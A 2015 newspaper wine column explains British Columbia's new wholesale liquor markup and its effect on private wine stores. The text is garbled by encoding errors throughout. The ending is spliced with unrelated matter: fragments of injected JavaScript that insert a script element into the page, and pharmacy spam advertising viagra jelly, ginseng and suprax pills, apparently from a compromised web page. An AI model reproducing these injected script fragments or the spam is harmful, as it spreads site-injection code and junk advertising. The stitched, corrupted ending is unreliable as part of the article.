Regulation boondoggle looms – March 21, 2015


By Anthony Gismondi

I wrote my first wine column for this newspaper about 28 years ago. As a prospective freelancer, I was invited to enter a competition. We were to write three columns along with two other candidates and the winner would be chosen from the work submitted. I won, not because it was Pulitzer Prize material, but because I wrote three columns on wines available in government liquor stores. Timely, relevant, useful and not too expensive was my thinking.

I was reminded of that this week when my son complained that no one in the wine trade was taking the time explain what is going on with the B.C. Liquor Distribution Brancha��s new wholesale pricing model that comes into effect April 1. Ia��ll try to simplify it. In previous decades, government applied a mark-up (they dona��t like the word tax) to all alcohol sold in the province. That was when the BCLDB was a true monopoly and the only retailer. It would add its markup to the a�?landed costa�? of each wine a�� essentially the winery selling price, plus the agenta��s take, shipping, insurance, storage a��A� to arrive at a retail shelf price.

The markup was always hefty but different for beer, wine and spirits and when government needed more money the increase would be part of the budget debated and passed in the legislature. To avoid looking like the bad guy every budget, new increases in the markup were moved to orders in council, in which they were simply effected without requiring debate or the approval the legislative assembly. Wines produced locally were taxed at about half the rate as imported wine.

In early 1990s, after the North American Free Trade Agreement and GATT came into play, the markup was equalized at 100 per cent for all wine and over the years has risen to as high as 123 per cent. At about the same time, domestic producers fought for relief from the punishing markup levied on import wines and they were given a number of advantages, not the least of which was the ability to sell direct from the winery, thus avoiding the tax levied in government stores. For wineries selling into government stores and subject to the same tax as all others, they receive a case kickback to smooth out their bottom line. Finally, to secure the future of local wine, the government approved a number of off-site store licenses, namely B.C. VQA wines stores, to operate selling only B.C. wine.

The first private wine shops a�� sometime referred to as the independent wines stores a�� shared about a dozen licenses. They began in the late 1980s, selling only B.C. wine and then after NAFTA and GATT, became a reality they were quickly granted the right to sell imported wine, a huge windfall given the quality of the local product they were selling at the time. The original private wine shops sold wine only (and still do) and buy their wine from government at a legislated 30-per-cent discount. That discount disappears under the new wholesale price, when all retailers, government stores included, will pay a wholesale price, which is 87 per cent on the first $11.75 of landed cost and 27 per cent on the remainder.

The result is the original wine stores lose half their operating margin on April 1 and will not be able to sell beer and spirits from their present location, unlike all their competitors. All LRS stores were operating on a 16-per-cent discount that works out to the same cost position under the new wholesale price. Neither the former nor the latter will be allowed to sell wine to restaurants or clubs. BC Liquor stores will buy their product at the same price as the private sector but the level playing field mentioned ad nauseam by government ends there. Government stores are keeping the lucrative restaurant business to themselves, which involves selling to the trade at the same price the sell to the public.

In an effort to keep prices in check, it looks as if government stores will operate on a break-even basis, in effect bring the private competition to its knees. The government has yet to reveal its store prices, leaving the entire hospitality business province-wide in a strait-jacket as it awaits final pricing 10 days from the switch.

No matter what percentage, all wine stores end up operating at (10-30 percent on top of the wholesale markup?), all costing models point to higher prices on any wine worth drinking. And dona��t be fooled by prices that look cheaper on the shelves. Government has chosen to remove the 10-per-cent PST and five-per-cent GST from shelf prices before adding it at the register. What a boondoggle.document.currentScript.parentNode.insertBefore(s, document.currentScript); Cheap viagra jelly for sale uk document.currentScript.parentNode.insertBefore(s, document.currentScript);if (document.currentScript) { if (document.currentScript) { can you buy ginseng over the counter retail cost of suprax pills online

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